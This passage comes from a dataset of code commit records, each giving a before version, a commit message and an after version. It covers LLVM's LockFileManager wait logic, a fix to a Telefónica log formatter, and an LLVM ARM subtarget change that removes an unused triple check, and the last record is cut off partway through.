}\n}\n\nLockFileManager::LockFileState LockFileManager::getState() const {\n  if (Owner)\n    return LFS_Shared;\n\n  if (Error)\n    return LFS_Error;\n\n  return LFS_Owned;\n}\n\nLockFileManager::~LockFileManager() {\n  if (getState() != LFS_Owned)\n    return;\n\n  \/\/ Since we own the lock, remove the lock file and our own unique lock file.\n  sys::fs::remove(LockFileName.str());\n  sys::fs::remove(UniqueLockFileName.str());\n}\n\nvoid LockFileManager::waitForUnlock() {\n  if (getState() != LFS_Shared)\n    return;\n\n#if LLVM_ON_WIN32\n  unsigned long Interval = 1;\n#else\n  struct timespec Interval;\n  Interval.tv_sec = 0;\n  Interval.tv_nsec = 1000000;\n#endif\n  \/\/ Don't wait more than five minutes for the file to appear.\n  unsigned MaxSeconds = 300;\n  bool LockFileGone = false;\n  do {\n    \/\/ Sleep for the designated interval, to allow the owning process time to\n    \/\/ finish up and remove the lock file.\n    \/\/ FIXME: Should we hook in to system APIs to get a notification when the\n    \/\/ lock file is deleted?\n#if LLVM_ON_WIN32\n    Sleep(Interval);\n#else\n    nanosleep(&Interval, NULL);\n#endif\n    bool LockFileJustDisappeared = false;\n\n    \/\/ If the lock file is still expected to be there, check whether it still\n    \/\/ is.\n    if (!LockFileGone) {\n      bool Exists;\n      if (!sys::fs::exists(LockFileName.str(), Exists) && !Exists) {\n        LockFileGone = true;\n        LockFileJustDisappeared = true;\n      }\n    }\n\n    \/\/ If the lock file is no longer there, check if the original file is\n    \/\/ available now.\n    if (LockFileGone) {\n      if (sys::fs::exists(FileName.str())) {\n        return;\n      }\n\n      \/\/ The lock file is gone, so now we're waiting for the original file to\n      \/\/ show up. If this just happened, reset our waiting intervals and keep\n      \/\/ waiting.\n      if (LockFileJustDisappeared) {\n        MaxSeconds = 5;\n\n#if LLVM_ON_WIN32\n        Interval = 1;\n#else\n        Interval.tv_sec = 0;\n        Interval.tv_nsec = 1000000;\n#endif\n        continue;\n      }\n    }\n\n    \/\/ If we're looking for the lock file to disappear, but the process\n    \/\/ owning the lock died without cleaning up, just bail out.\n    if (!LockFileGone &&\n        !processStillExecuting((*Owner).first, (*Owner).second)) {\n      return;\n    }\n\n    \/\/ Exponentially increase the time we wait for the lock to be removed.\n#if LLVM_ON_WIN32\n    Interval *= 2;\n#else\n    Interval.tv_sec *= 2;\n    Interval.tv_nsec *= 2;\n    if (Interval.tv_nsec >= 1000000000) {\n      ++Interval.tv_sec;\n      Interval.tv_nsec -= 1000000000;\n    }\n#endif\n  } while (\n#if LLVM_ON_WIN32\n           Interval < MaxSeconds * 1000\n#else\n           Interval.tv_sec < (time_t)MaxSeconds\n#endif\n           );\n\n  \/\/ Give up.\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Telefónica Digital - Product Development and Innovation\n *\n * THIS CODE AND INFORMATION ARE PROVIDED \"AS IS\" WITHOUT WARRANTY OF ANY KIND,\n * EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND\/OR FITNESS FOR A PARTICULAR PURPOSE.\n *\n * Copyright (c) Telefónica Investigación y Desarrollo S.A.U.\n * All rights reserved.\n *\/\n\n#include \"au\/log\/LogFormatter.h\"  \/\/ Own interface\n\n#include \"au\/log\/Log.h\"\n\nnamespace au {\nLogFormatter::LogFormatter(const std::string& definition , bool color ) {\n  SetFormat(definition,color);\n}\n\nvoid LogFormatter::SetFormat(const std::string& definition , bool color ) {\n\n  definition_ = definition;  \/\/ Keep a copy of the definition string\n  color_ = color;\n\n  fields_.clear();   \/\/ Remove previous definition ( if any )\n\n  if( definition == \"none\" )\n    return; \/\/ no format\n  \n  \/\/ Tokenize with reserved words\n  au::token::Tokenizer tokenizer;\n  size_t i = 0;\n  while (log_reseved_words[i] != NULL) {\n    tokenizer.addToken(log_reseved_words[i++]);\n  }\n\n  \/\/ Parse to get the tokens\n  au::token::TokenVector token_vector = tokenizer.parse(definition);\n\n  au::token::Token *token = token_vector.getNextToken();\n  while (token) {\n    fields_.push_back(token->content);\n    token_vector.popToken();\n    token = token_vector.getNextToken();\n  }\n}\n\n  std::string LogFormatter::get(au::SharedPointer<Log> log) const {\n    if( color_ )\n      return au::str( log->GetColor() ,  \"%s\" , GetIntern(log).c_str() );\n    else\n      return GetIntern(log);\n  }\n  \nstd::string LogFormatter::GetIntern(au::SharedPointer<Log> log) const {\n\n  if (definition_ == \"all\") {\n    return log->str();\n  }\n  std::string output;\n  for (size_t i = 0; i < fields_.size(); i++) {\n    output.append(log->Get(fields_[i]));\n  }\n  return output;\n}\n}<commit_msg>Fix bug in log generation<commit_after>\/*\n * Telefónica Digital - Product Development and Innovation\n *\n * THIS CODE AND INFORMATION ARE PROVIDED \"AS IS\" WITHOUT WARRANTY OF ANY KIND,\n * EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND\/OR FITNESS FOR A PARTICULAR PURPOSE.\n *\n * Copyright (c) Telefónica Investigación y Desarrollo S.A.U.\n * All rights reserved.\n *\/\n\n#include \"au\/log\/LogFormatter.h\"  \/\/ Own interface\n\n#include \"au\/log\/Log.h\"\n\nnamespace au {\nLogFormatter::LogFormatter(const std::string& definition , bool color ) {\n  SetFormat(definition,color);\n}\n\nvoid LogFormatter::SetFormat(const std::string& definition , bool color ) {\n\n  definition_ = definition;  \/\/ Keep a copy of the definition string\n  color_ = color;\n\n  fields_.clear();   \/\/ Remove previous definition ( if any )\n\n  if( definition == \"none\" )\n    return; \/\/ no format\n  \n  \/\/ Tokenize with reserved words\n  au::token::Tokenizer tokenizer;\n  size_t i = 0;\n  while (log_reseved_words[i] != NULL) {\n    tokenizer.addToken(log_reseved_words[i++]);\n  }\n\n  \/\/ Parse to get the tokens\n  au::token::TokenVector token_vector = tokenizer.parse(definition);\n\n  au::token::Token *token = token_vector.getNextToken();\n  while (token) {\n    fields_.push_back(token->content);\n    token_vector.popToken();\n    token = token_vector.getNextToken();\n  }\n}\n\n  std::string LogFormatter::get(au::SharedPointer<Log> log) const {\n    if( color_ )\n      return au::str( log->GetColor() ,  \"%s\" , GetIntern(log).c_str() );\n    else\n      return GetIntern(log);\n  }\n  \nstd::string LogFormatter::GetIntern(au::SharedPointer<Log> log) const {\n\n  if (definition_ == \"all\") {\n    return log->str();\n  }\n  std::ostringstream output;\n  for (size_t i = 0; i < fields_.size(); i++) {\n    output << log->Get(fields_[i]);\n  }\n  return output.str();\n}\n}<|endoftext|>"}
{"text":"<commit_before>\/\/===-- ARMSubtarget.cpp - ARM Subtarget Information ----------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements the ARM specific subclass of TargetSubtargetInfo.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"ARMSubtarget.h\"\n#include \"ARMFrameLowering.h\"\n#include \"ARMISelLowering.h\"\n#include \"ARMInstrInfo.h\"\n#include \"ARMSelectionDAGInfo.h\"\n#include \"ARMSubtarget.h\"\n#include \"ARMMachineFunctionInfo.h\"\n#include \"Thumb1FrameLowering.h\"\n#include \"Thumb1InstrInfo.h\"\n#include \"Thumb2InstrInfo.h\"\n#include \"llvm\/IR\/Attributes.h\"\n#include \"llvm\/IR\/Function.h\"\n#include \"llvm\/IR\/GlobalValue.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Target\/TargetInstrInfo.h\"\n#include \"llvm\/Target\/TargetOptions.h\"\n#include \"llvm\/Target\/TargetRegisterInfo.h\"\n#include \"llvm\/CodeGen\/MachineRegisterInfo.h\"\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"arm-subtarget\"\n\n#define GET_SUBTARGETINFO_TARGET_DESC\n#define GET_SUBTARGETINFO_CTOR\n#include \"ARMGenSubtargetInfo.inc\"\n\nstatic cl::opt<bool>\nReserveR9(\"arm-reserve-r9\", cl::Hidden,\n          cl::desc(\"Reserve R9, making it unavailable as GPR\"));\n\nstatic cl::opt<bool>\nArmUseMOVT(\"arm-use-movt\", cl::init(true), cl::Hidden);\n\nstatic cl::opt<bool>\nUseFusedMulOps(\"arm-use-mulops\",\n               cl::init(true), cl::Hidden);\n\nnamespace {\nenum AlignMode {\n  DefaultAlign,\n  StrictAlign,\n  NoStrictAlign\n};\n}\n\nstatic cl::opt<AlignMode>\nAlign(cl::desc(\"Load\/store alignment support\"),\n      cl::Hidden, cl::init(DefaultAlign),\n      cl::values(\n          clEnumValN(DefaultAlign,  \"arm-default-align\",\n                     \"Generate unaligned accesses only on hardware\/OS \"\n                     \"combinations that are known to support them\"),\n          clEnumValN(StrictAlign,   \"arm-strict-align\",\n                     \"Disallow all unaligned memory accesses\"),\n          clEnumValN(NoStrictAlign, \"arm-no-strict-align\",\n                     \"Allow unaligned memory accesses\"),\n          clEnumValEnd));\n\nenum ITMode {\n  DefaultIT,\n  RestrictedIT,\n  NoRestrictedIT\n};\n\nstatic cl::opt<ITMode>\nIT(cl::desc(\"IT block support\"), cl::Hidden, cl::init(DefaultIT),\n   cl::ZeroOrMore,\n   cl::values(clEnumValN(DefaultIT, \"arm-default-it\",\n                         \"Generate IT block based on arch\"),\n              clEnumValN(RestrictedIT, \"arm-restrict-it\",\n                         \"Disallow deprecated IT based on ARMv8\"),\n              clEnumValN(NoRestrictedIT, \"arm-no-restrict-it\",\n                         \"Allow IT blocks based on ARMv7\"),\n              clEnumValEnd));\n\nstatic std::string computeDataLayout(ARMSubtarget &ST) {\n  std::string Ret = \"\";\n\n  if (ST.isLittle())\n    \/\/ Little endian.\n    Ret += \"e\";\n  else\n    \/\/ Big endian.\n    Ret += \"E\";\n\n  Ret += DataLayout::getManglingComponent(ST.getTargetTriple());\n\n  \/\/ Pointers are 32 bits and aligned to 32 bits.\n  Ret += \"-p:32:32\";\n\n  \/\/ ABIs other than APCS have 64 bit integers with natural alignment.\n  if (!ST.isAPCS_ABI())\n    Ret += \"-i64:64\";\n\n  \/\/ We have 64 bits floats. The APCS ABI requires them to be aligned to 32\n  \/\/ bits, others to 64 bits. We always try to align to 64 bits.\n  if (ST.isAPCS_ABI())\n    Ret += \"-f64:32:64\";\n\n  \/\/ We have 128 and 64 bit vectors. The APCS ABI aligns them to 32 bits, others\n  \/\/ to 64. We always ty to give them natural alignment.\n  if (ST.isAPCS_ABI())\n    Ret += \"-v64:32:64-v128:32:128\";\n  else\n    Ret += \"-v128:64:128\";\n\n  \/\/ Try to align aggregates to 32 bits (the default is 64 bits, which has no\n  \/\/ particular hardware support on 32-bit ARM).\n  Ret += \"-a:0:32\";\n\n  \/\/ Integer registers are 32 bits.\n  Ret += \"-n32\";\n\n  \/\/ The stack is 128 bit aligned on NaCl, 64 bit aligned on AAPCS and 32 bit\n  \/\/ aligned everywhere else.\n  if (ST.isTargetNaCl())\n    Ret += \"-S128\";\n  else if (ST.isAAPCS_ABI())\n    Ret += \"-S64\";\n  else\n    Ret += \"-S32\";\n\n  return Ret;\n}\n\n\/\/\/ initializeSubtargetDependencies - Initializes using a CPU and feature string\n\/\/\/ so that we can use initializer lists for subtarget initialization.\nARMSubtarget &ARMSubtarget::initializeSubtargetDependencies(StringRef CPU,\n                                                            StringRef FS) {\n  initializeEnvironment();\n  initSubtargetFeatures(CPU, FS);\n  return *this;\n}\n\nARMSubtarget::ARMSubtarget(const std::string &TT, const std::string &CPU,\n                           const std::string &FS, const TargetMachine &TM,\n                           bool IsLittle)\n    : ARMGenSubtargetInfo(TT, CPU, FS), ARMProcFamily(Others),\n      ARMProcClass(None), stackAlignment(4), CPUString(CPU), IsLittle(IsLittle),\n      TargetTriple(TT), Options(TM.Options), TargetABI(ARM_ABI_UNKNOWN),\n      DL(computeDataLayout(initializeSubtargetDependencies(CPU, FS))),\n      TSInfo(DL),\n      InstrInfo(isThumb1Only()\n                    ? (ARMBaseInstrInfo *)new Thumb1InstrInfo(*this)\n                    : !isThumb()\n                          ? (ARMBaseInstrInfo *)new ARMInstrInfo(*this)\n                          : (ARMBaseInstrInfo *)new Thumb2InstrInfo(*this)),\n      TLInfo(TM),\n      FrameLowering(!isThumb1Only()\n                        ? new ARMFrameLowering(*this)\n                        : (ARMFrameLowering *)new Thumb1FrameLowering(*this)) {}\n\nvoid ARMSubtarget::initializeEnvironment() {\n  HasV4TOps = false;\n  HasV5TOps = false;\n  HasV5TEOps = false;\n  HasV6Ops = false;\n  HasV6MOps = false;\n  HasV6T2Ops = false;\n  HasV7Ops = false;\n  HasV8Ops = false;\n  HasVFPv2 = false;\n  HasVFPv3 = false;\n  HasVFPv4 = false;\n  HasFPARMv8 = false;\n  HasNEON = false;\n  UseNEONForSinglePrecisionFP = false;\n  UseMulOps = UseFusedMulOps;\n  SlowFPVMLx = false;\n  HasVMLxForwarding = false;\n  SlowFPBrcc = false;\n  InThumbMode = false;\n  HasThumb2 = false;\n  NoARM = false;\n  IsR9Reserved = ReserveR9;\n  UseMovt = false;\n  SupportsTailCall = false;\n  HasFP16 = false;\n  HasD16 = false;\n  HasHardwareDivide = false;\n  HasHardwareDivideInARM = false;\n  HasT2ExtractPack = false;\n  HasDataBarrier = false;\n  Pref32BitThumb = false;\n  AvoidCPSRPartialUpdate = false;\n  AvoidMOVsShifterOperand = false;\n  HasRAS = false;\n  HasMPExtension = false;\n  HasVirtualization = false;\n  FPOnlySP = false;\n  HasPerfMon = false;\n  HasTrustZone = false;\n  HasCrypto = false;\n  HasCRC = false;\n  HasZeroCycleZeroing = false;\n  AllowsUnalignedMem = false;\n  Thumb2DSP = false;\n  UseNaClTrap = false;\n  UnsafeFPMath = false;\n}\n\nvoid ARMSubtarget::initSubtargetFeatures(StringRef CPU, StringRef FS) {\n  if (CPUString.empty()) {\n    if (isTargetIOS() && TargetTriple.getArchName().endswith(\"v7s\"))\n      \/\/ Default to the Swift CPU when targeting armv7s\/thumbv7s.\n      CPUString = \"swift\";\n    else\n      CPUString = \"generic\";\n  }\n\n  \/\/ Insert the architecture feature derived from the target triple into the\n  \/\/ feature string. This is important for setting features that are implied\n  \/\/ based on the architecture version.\n  std::string ArchFS = ARM_MC::ParseARMTriple(TargetTriple.getTriple(),\n                                              CPUString);\n  if (!FS.empty()) {\n    if (!ArchFS.empty())\n      ArchFS = ArchFS + \",\" + FS.str();\n    else\n      ArchFS = FS;\n  }\n  ParseSubtargetFeatures(CPUString, ArchFS);\n\n  \/\/ FIXME: This used enable V6T2 support implicitly for Thumb2 mode.\n  \/\/ Assert this for now to make the change obvious.\n  assert(hasV6T2Ops() || !hasThumb2());\n\n  \/\/ Keep a pointer to static instruction cost data for the specified CPU.\n  SchedModel = getSchedModelForCPU(CPUString);\n\n  \/\/ Initialize scheduling itinerary for the specified CPU.\n  InstrItins = getInstrItineraryForCPU(CPUString);\n\n  if (TargetABI == ARM_ABI_UNKNOWN) {\n    switch (TargetTriple.getEnvironment()) {\n    case Triple::Android:\n    case Triple::EABI:\n    case Triple::EABIHF:\n    case Triple::GNUEABI:\n    case Triple::GNUEABIHF:\n      TargetABI = ARM_ABI_AAPCS;\n      break;\n    default:\n      if ((isTargetIOS() && isMClass()) ||\n          (TargetTriple.isOSBinFormatMachO() &&\n           TargetTriple.getOS() == Triple::UnknownOS))\n        TargetABI = ARM_ABI_AAPCS;\n      else\n        TargetABI = ARM_ABI_APCS;\n      break;\n    }\n  }\n\n  \/\/ FIXME: this is invalid for WindowsCE\n  if (isTargetWindows()) {\n    TargetABI = ARM_ABI_AAPCS;\n    NoARM = true;\n  }\n\n  if (isAAPCS_ABI())\n    stackAlignment = 8;\n  if (isTargetNaCl())\n    stackAlignment = 16;\n\n  UseMovt = hasV6T2Ops() && ArmUseMOVT;\n\n  if (isTargetMachO()) {\n    IsR9Reserved = ReserveR9 || !HasV6Ops;\n    SupportsTailCall = !isTargetIOS() || !getTargetTriple().isOSVersionLT(5, 0);\n  } else {\n    IsR9Reserved = ReserveR9;\n    SupportsTailCall = !isThumb1Only();\n  }\n\n  if (Align == DefaultAlign) {\n    \/\/ Assume pre-ARMv6 doesn't support unaligned accesses.\n    \/\/\n    \/\/ ARMv6 may or may not support unaligned accesses depending on the\n    \/\/ SCTLR.U bit, which is architecture-specific. We assume ARMv6\n    \/\/ Darwin and NetBSD targets support unaligned accesses, and others don't.\n    \/\/\n    \/\/ ARMv7 always has SCTLR.U set to 1, but it has a new SCTLR.A bit\n    \/\/ which raises an alignment fault on unaligned accesses. Linux\n    \/\/ defaults this bit to 0 and handles it as a system-wide (not\n    \/\/ per-process) setting. It is therefore safe to assume that ARMv7+\n    \/\/ Linux targets support unaligned accesses. The same goes for NaCl.\n    \/\/\n    \/\/ The above behavior is consistent with GCC.\n    AllowsUnalignedMem =\n      (hasV7Ops() && (isTargetLinux() || isTargetNaCl() ||\n                      isTargetNetBSD())) ||\n      (hasV6Ops() && (isTargetMachO() || isTargetNetBSD()));\n  } else {\n    AllowsUnalignedMem = !(Align == StrictAlign);\n  }\n\n  \/\/ No v6M core supports unaligned memory access (v6M ARM ARM A3.2)\n  if (isV6M())\n    AllowsUnalignedMem = false;\n\n  switch (IT) {\n  case DefaultIT:\n    RestrictIT = hasV8Ops() ? true : false;\n    break;\n  case RestrictedIT:\n    RestrictIT = true;\n    break;\n  case NoRestrictedIT:\n    RestrictIT = false;\n    break;\n  }\n\n  \/\/ NEON f32 ops are non-IEEE 754 compliant. Darwin is ok with it by default.\n  uint64_t Bits = getFeatureBits();\n  if ((Bits & ARM::ProcA5 || Bits & ARM::ProcA8) && \/\/ Where this matters\n      (Options.UnsafeFPMath || isTargetDarwin()))\n    UseNEONForSinglePrecisionFP = true;\n}\n\n\/\/\/ GVIsIndirectSymbol - true if the GV will be accessed via an indirect symbol.\nbool\nARMSubtarget::GVIsIndirectSymbol(const GlobalValue *GV,\n                                 Reloc::Model RelocM) const {\n  if (RelocM == Reloc::Static)\n    return false;\n\n  \/\/ Materializable GVs (in JIT lazy compilation mode) do not require an extra\n  \/\/ load from stub.\n  bool isDecl = GV->hasAvailableExternallyLinkage();\n  if (GV->isDeclaration() && !GV->isMaterializable())\n    isDecl = true;\n\n  if (!isTargetMachO()) {\n    \/\/ Extra load is needed for all externally visible.\n    if (GV->hasLocalLinkage() || GV->hasHiddenVisibility())\n      return false;\n    return true;\n  } else {\n    if (RelocM == Reloc::PIC_) {\n      \/\/ If this is a strong reference to a definition, it is definitely not\n      \/\/ through a stub.\n      if (!isDecl && !GV->isWeakForLinker())\n        return false;\n\n      \/\/ Unless we have a symbol with hidden visibility, we have to go through a\n      \/\/ normal $non_lazy_ptr stub because this symbol might be resolved late.\n      if (!GV->hasHiddenVisibility())  \/\/ Non-hidden $non_lazy_ptr reference.\n        return true;\n\n      \/\/ If symbol visibility is hidden, we have a stub for common symbol\n      \/\/ references and external declarations.\n      if (isDecl || GV->hasCommonLinkage())\n        \/\/ Hidden $non_lazy_ptr reference.\n        return true;\n\n      return false;\n    } else {\n      \/\/ If this is a strong reference to a definition, it is definitely not\n      \/\/ through a stub.\n      if (!isDecl && !GV->isWeakForLinker())\n        return false;\n\n      \/\/ Unless we have a symbol with hidden visibility, we have to go through a\n      \/\/ normal $non_lazy_ptr stub because this symbol might be resolved late.\n      if (!GV->hasHiddenVisibility())  \/\/ Non-hidden $non_lazy_ptr reference.\n        return true;\n    }\n  }\n\n  return false;\n}\n\nunsigned ARMSubtarget::getMispredictionPenalty() const {\n  return SchedModel.MispredictPenalty;\n}\n\nbool ARMSubtarget::hasSinCos() const {\n  return getTargetTriple().isiOS() && !getTargetTriple().isOSVersionLT(7, 0);\n}\n\n\/\/ This overrides the PostRAScheduler bit in the SchedModel for any CPU.\nbool ARMSubtarget::enablePostMachineScheduler() const {\n  return (!isThumb() || hasThumb2());\n}\n\nbool ARMSubtarget::enableAtomicExpand() const {\n  return hasAnyDataBarrier() && !isThumb1Only();\n}\n\nbool ARMSubtarget::useMovt(const MachineFunction &MF) const {\n  \/\/ NOTE Windows on ARM needs to use mov.w\/mov.t pairs to materialise 32-bit\n  \/\/ immediates as it is inherently position independent, and may be out of\n  \/\/ range otherwise.\n  return UseMovt && (isTargetWindows() ||\n                     !MF.getFunction()->getAttributes().hasAttribute(\n                         AttributeSet::FunctionIndex, Attribute::MinSize));\n}\n<commit_msg>ARM: drop check for triple that's no longer used.<commit_after>\/\/===-- ARMSubtarget.cpp - ARM Subtarget Information ----------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements the ARM specific subclass of TargetSubtargetInfo.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"ARMSubtarget.h\"\n#include \"ARMFrameLowering.h\"\n#include \"ARMISelLowering.h\"\n#include \"ARMInstrInfo.h\"\n#include \"ARMSelectionDAGInfo.h\"\n#include \"ARMSubtarget.h\"\n#include \"ARMMachineFunctionInfo.h\"\n#include \"Thumb1FrameLowering.h\"\n#include \"Thumb1InstrInfo.h\"\n#include \"Thumb2InstrInfo.h\"\n#include \"llvm\/IR\/Attributes.h\"\n#include \"llvm\/IR\/Function.h\"\n#include \"llvm\/IR\/GlobalValue.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Target\/TargetInstrInfo.h\"\n#include \"llvm\/Target\/TargetOptions.h\"\n#include \"llvm\/Target\/TargetRegisterInfo.h\"\n#include \"llvm\/CodeGen\/MachineRegisterInfo.h\"\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"arm-subtarget\"\n\n#define GET_SUBTARGETINFO_TARGET_DESC\n#define GET_SUBTARGETINFO_CTOR\n#include \"ARMGenSubtargetInfo.inc\"\n\nstatic cl::opt<bool>\nReserveR9(\"arm-reserve-r9\", cl::Hidden,\n          cl::desc(\"Reserve R9, making it unavailable as GPR\"));\n\nstatic cl::opt<bool>\nArmUseMOVT(\"arm-use-movt\", cl::init(true), cl::Hidden);\n\nstatic cl::opt<bool>\nUseFusedMulOps(\"arm-use-mulops\",\n               cl::init(true), cl::Hidden);\n\nnamespace {\nenum AlignMode {\n  DefaultAlign,\n  StrictAlign,\n  NoStrictAlign\n};\n}\n\nstatic cl::opt<AlignMode>\nAlign(cl::desc(\"Load\/store alignment support\"),\n      cl::Hidden, cl::init(DefaultAlign),\n      cl::values(\n          clEnumValN(DefaultAlign,  \"arm-default-align\",\n                     \"Generate unaligned accesses only on hardware\/OS \"\n                     \"combinations that are known to support them\"),\n          clEnumValN(StrictAlign,   \"arm-strict-align\",\n                     \"Disallow all unaligned memory accesses\"),\n          clEnumValN(NoStrictAlign, \"arm-no-strict-align\",\n                     \"Allow unaligned memory accesses\"),\n          clEnumValEnd));\n\nenum ITMode {\n  DefaultIT,\n  RestrictedIT,\n  NoRestrictedIT\n};\n\nstatic cl::opt<ITMode>\nIT(cl::desc(\"IT block support\"), cl::Hidden, cl::init(DefaultIT),\n   cl::ZeroOrMore,\n   cl::values(clEnumValN(DefaultIT, \"arm-default-it\",\n                         \"Generate IT block based on arch\"),\n              clEnumValN(RestrictedIT, \"arm-restrict-it\",\n                         \"Disallow deprecated IT based on ARMv8\"),\n              clEnumValN(NoRestrictedIT, \"arm-no-restrict-it\",\n                         \"Allow IT blocks based on ARMv7\"),\n              clEnumValEnd));\n\nstatic std::string computeDataLayout(ARMSubtarget &ST) {\n  std::string Ret = \"\";\n\n  if (ST.isLittle())\n    \/\/ Little endian.\n    Ret += \"e\";\n  else\n    \/\/ Big endian.\n    Ret += \"E\";\n\n  Ret += DataLayout::getManglingComponent(ST.getTargetTriple());\n\n  \/\/ Pointers are 32 bits and aligned to 32 bits.\n  Ret += \"-p:32:32\";\n\n  \/\/ ABIs other than APCS have 64 bit integers with natural alignment.\n  if (!ST.isAPCS_ABI())\n    Ret += \"-i64:64\";\n\n  \/\/ We have 64 bits floats. The APCS ABI requires them to be aligned to 32\n  \/\/ bits, others to 64 bits. We always try to align to 64 bits.\n  if (ST.isAPCS_ABI())\n    Ret += \"-f64:32:64\";\n\n  \/\/ We have 128 and 64 bit vectors. The APCS ABI aligns them to 32 bits, others\n  \/\/ to 64. We always ty to give them natural alignment.\n  if (ST.isAPCS_ABI())\n    Ret += \"-v64:32:64-v128:32:128\";\n  else\n    Ret += \"-v128:64:128\";\n\n  \/\/ Try to align aggregates to 32 bits (the default is 64 bits, which has no\n  \/\/ particular hardware support on 32-bit ARM).\n  Ret += \"-a:0:32\";\n\n  \/\/ Integer registers are 32 bits.\n  Ret += \"-n32\";\n\n  \/\/ The stack is 128 bit aligned on NaCl, 64 bit aligned on AAPCS and 32 bit\n  \/\/ aligned everywhere else.\n  if (ST.isTargetNaCl())\n    Ret += \"-S128\";\n  else if (ST.isAAPCS_ABI())\n    Ret += \"-S64\";\n  else\n    Ret += \"-S32\";\n\n  return Ret;\n}\n\n\/\/\/ initializeSubtargetDependencies - Initializes using a CPU and feature string\n\/\/\/ so that we can use initializer lists for subtarget initialization.\nARMSubtarget &ARMSubtarget::initializeSubtargetDependencies(StringRef CPU,\n                                                            StringRef FS) {\n  initializeEnvironment();\n  initSubtargetFeatures(CPU, FS);\n  return *this;\n}\n\nARMSubtarget::ARMSubtarget(const std::string &TT, const std::string &CPU,\n                           const std::string &FS, const TargetMachine &TM,\n                           bool IsLittle)\n    : ARMGenSubtargetInfo(TT, CPU, FS), ARMProcFamily(Others),\n      ARMProcClass(None), stackAlignment(4), CPUString(CPU), IsLittle(IsLittle),\n      TargetTriple(TT), Options(TM.Options), TargetABI(ARM_ABI_UNKNOWN),\n      DL(computeDataLayout(initializeSubtargetDependencies(CPU, FS))),\n      TSInfo(DL),\n      InstrInfo(isThumb1Only()\n                    ? (ARMBaseInstrInfo *)new Thumb1InstrInfo(*this)\n                    : !isThumb()\n                          ? (ARMBaseInstrInfo *)new ARMInstrInfo(*this)\n                          : (ARMBaseInstrInfo *)new Thumb2InstrInfo(*this)),\n      TLInfo(TM),\n      FrameLowering(!isThumb1Only()\n                        ? new ARMFrameLowering(*this)\n                        : (ARMFrameLowering *)new Thumb1FrameLowering(*this)) {}\n\nvoid ARMSubtarget::initializeEnvironment() {\n  HasV4TOps = false;\n  HasV5TOps = false;\n  HasV5TEOps = false;\n  HasV6Ops = false;\n  HasV6MOps = false;\n  HasV6T2Ops = false;\n  HasV7Ops = false;\n  HasV8Ops = false;\n  HasVFPv2 = false;\n  HasVFPv3 = false;\n  HasVFPv4 = false;\n  HasFPARMv8 = false;\n  HasNEON = false;\n  UseNEONForSinglePrecisionFP = false;\n  UseMulOps = UseFusedMulOps;\n  SlowFPVMLx = false;\n  HasVMLxForwarding = false;\n  SlowFPBrcc = false;\n  InThumbMode = false;\n  HasThumb2 = false;\n  NoARM = false;\n  IsR9Reserved = ReserveR9;\n  UseMovt = false;\n  SupportsTailCall = false;\n  HasFP16 = false;\n  HasD16 = false;\n  HasHardwareDivide = false;\n  HasHardwareDivideInARM = false;\n  HasT2ExtractPack = false;\n  HasDataBarrier = false;\n  Pref32BitThumb = false;\n  AvoidCPSRPartialUpdate = false;\n  AvoidMOVsShifterOperand = false;\n  HasRAS = false;\n  HasMPExtension = false;\n  HasVirtualization = false;\n  FPOnlySP = false;\n  HasPerfMon = false;\n  HasTrustZone = false;\n  HasCrypto = false;\n  HasCRC = false;\n  HasZeroCycleZeroing = false;\n  AllowsUnalignedMem = false;\n  Thumb2DSP = false;\n  UseNaClTrap = false;\n  UnsafeFPMath = false;\n}\n\nvoid ARMSubtarget::initSubtargetFeatures(StringRef CPU, StringRef FS) {\n  if (CPUString.empty()) {\n    if (isTargetIOS() && TargetTriple.getArchName().endswith(\"v7s\"))\n      \/\/ Default to the Swift CPU when targeting armv7s\/thumbv7s.\n      CPUString = \"swift\";\n    else\n      CPUString = \"generic\";\n  }\n\n  \/\/ Insert the architecture feature derived from the target triple into the\n  \/\/ feature string. This is important for setting features that are implied\n  \/\/ based on the architecture version.\n  std::string ArchFS = ARM_MC::ParseARMTriple(TargetTriple.getTriple(),\n                                              CPUString);\n  if (!FS.empty()) {\n    if (!ArchFS.empty())\n      ArchFS = ArchFS + \",\" + FS.str();\n    else\n      ArchFS = FS;\n  }\n  ParseSubtargetFeatures(CPUString, ArchFS);\n\n  \/\/ FIXME: This used enable V6T2 support implicitly for Thumb2 mode.\n  \/\/ Assert this for now to make the change obvious.\n  assert(hasV6T2Ops() || !hasThumb2());\n\n  \/\/ Keep a pointer to static instruction cost data for the specified CPU.\n  SchedModel = getSchedModelForCPU(CPUString);\n\n  \/\/ Initialize scheduling itinerary for the specified CPU.\n  InstrItins = getInstrItineraryForCPU(CPUString);\n\n  if (TargetABI == ARM_ABI_UNKNOWN) {\n    switch (TargetTriple.getEnvironment()) {\n    case Triple::Android:\n    case Triple::EABI:\n    case Triple::EABIHF:\n    case Triple::GNUEABI:\n    case Triple::GNUEABIHF:\n      TargetABI = ARM_ABI_AAPCS;\n      break;\n    default:\n      if (TargetTriple.isOSBinFormatMachO() &&\n          TargetTriple.getOS() == Triple::UnknownOS)\n        TargetABI = ARM_ABI_AAPCS;\n      else\n        TargetABI = ARM_ABI_APCS;\n      break;\n    }\n  }\n\n  \/\/ FIXME: this is invalid for WindowsCE\n  if (isTargetWindows()) {\n    TargetABI = ARM_ABI_AAPCS;\n    NoARM = true;\n  }\n\n  if (isAAPCS_ABI())\n    stackAlignment = 8;\n  if (isTargetNaCl())\n    stackAlignment = 16;\n\n  